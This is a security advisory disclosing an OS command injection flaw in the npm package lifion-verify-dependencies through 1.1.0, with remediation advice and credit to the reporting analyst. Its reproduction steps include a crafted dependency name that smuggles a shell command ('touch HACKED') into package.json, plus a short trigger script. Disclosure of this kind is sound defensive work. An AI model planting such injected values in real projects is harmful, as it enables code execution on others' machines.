

Defend your code against **SpringShell** in two ways: read our [blog post](#) with what-to-do advice, and use **Checkmarx SCA** to test your applications.

## Command Injection Vulnerability In Lifion-Verify-Deps

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### Summary

lifion-verify-dependencies package verifies that installed NPM modules are the latest currently available version. Affected versions of this package are vulnerable to OS command injection via a crafted dependency name on the scanned project's `package.json` file.

### Product

lifion-verify-dependencies through 1.1.0.

### Impact

This issue may lead to remote code execution if a client of the library calls the vulnerable method with a project with untrusted `package.json` file.

### Steps To Reproduce

Create an NPM project with a `package.json` file inside and add an entry to 'dependencies':

```
"dependencies": {
  "lodash; touch HACKED# ": "^4.17.20",
}
```

Then, run the following `poc.js`:

```
const verifyDeps = require('lifion-verify-deps');
verifyDeps({ dir: '/my-project' }).then(() => {}).catch((err) => {})
```

### Expected Result:

A file named `HACKED` has been created.

### Remediation

Update lifion-verify-dependencies to version 1.2.0 or above.

### Credit

This issue was discovered and reported by Checkmarx SCA Security Analyst [Adar Zandberg](#).

### Resources

1. Commit [4e1bf38](#)